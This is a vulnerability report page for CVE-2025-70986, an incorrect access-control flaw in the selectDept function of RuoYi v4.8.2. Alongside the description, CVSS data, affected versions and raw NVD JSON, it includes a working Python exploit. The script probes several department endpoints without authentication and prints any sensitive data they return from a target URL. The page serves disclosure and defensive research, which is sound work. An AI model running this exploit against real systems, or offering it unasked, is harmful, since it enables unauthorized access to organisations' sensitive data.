Security Vulnerability Report
中文
CVE-2025-70986 CVSS 7.5 HIGH

CVE-2025-70986

Published: 2026-01-23 19:15:54
Last Modified: 2026-01-30 21:26:10

Description

Incorrect access control in the selectDept function of RuoYi v4.8.2 allows unauthorized attackers to arbitrarily access sensitive department data.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ruoyi:ruoyi:4.8.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ruoyi:ruoyi:4.8.2:*:*:*:*:*:*:* - VULNERABLE
RuoYi v4.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-70986 PoC # RuoYi v4.8.2 selectDept Function Access Control Vulnerability # Target: RuoYi v4.8.2 - selectDept endpoint # This PoC demonstrates unauthorized access to sensitive department data def exploit_cve_2025_70986(target_url): """ Exploit for CVE-2025-70986: Incorrect access control in selectDept function """ # Common RuoYi endpoints for department data endpoints = [ '/system/dept/selectDept', '/system/dept/list', '/system/dept/deptList', '/system/dept/getDeptTree', ] print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-70986 Exploit - RuoYi selectDept Access Control Bypass") print("=" * 60) for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"\n[*] Testing endpoint: {endpoint}") try: # Send request without authentication response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: # Check if sensitive data is returned if 'dept' in response.text.lower() or 'data' in response.text: print(f"[+] VULNERABLE! Endpoint returned data without auth") print(f"[+] Response preview: {response.text[:500]}...") return True else: print(f"[-] Endpoint accessible but no sensitive data") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Endpoint properly protected") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("\n[!] Exploitation completed. No vulnerable endpoints found.") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_70986(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-70986", "sourceIdentifier": "[email protected]", "published": "2026-01-23T19:15:54.017", "lastModified": "2026-01-30T21:26:10.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the selectDept function of RuoYi v4.8.2 allows unauthorized attackers to arbitrarily access sensitive department data."}, {"lang": "es", "value": "Control de acceso incorrecto en la función selectDept de RuoYi v4.8.2 permite a atacantes no autorizados acceder arbitrariamente a datos sensibles del departamento."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ruoyi:ruoyi:4.8.1:*:*:*:*:*:*:*", "matchCriteriaId": "66B50E9E-F41D-4BDA-9079-3A1AC60C83F8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ruoyi:ruoyi:4.8.2:*:*:*:*:*:*:*", "matchCriteriaId": "B03431D9-8914-458B-AD1F-83585A26FA22"}]}]}], "references": [{"url": "https://gist.github.com/old6ma/779320a98f361c299ca024521cb72db6", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/y_project/RuoYi", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitee.com/y_project/RuoYi/issues/IDIDME", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit"]}, {"url": "https://github.com/yangzongzhuan/RuoYi", "source": "[email protected]", "tags": ["Product"]}]}}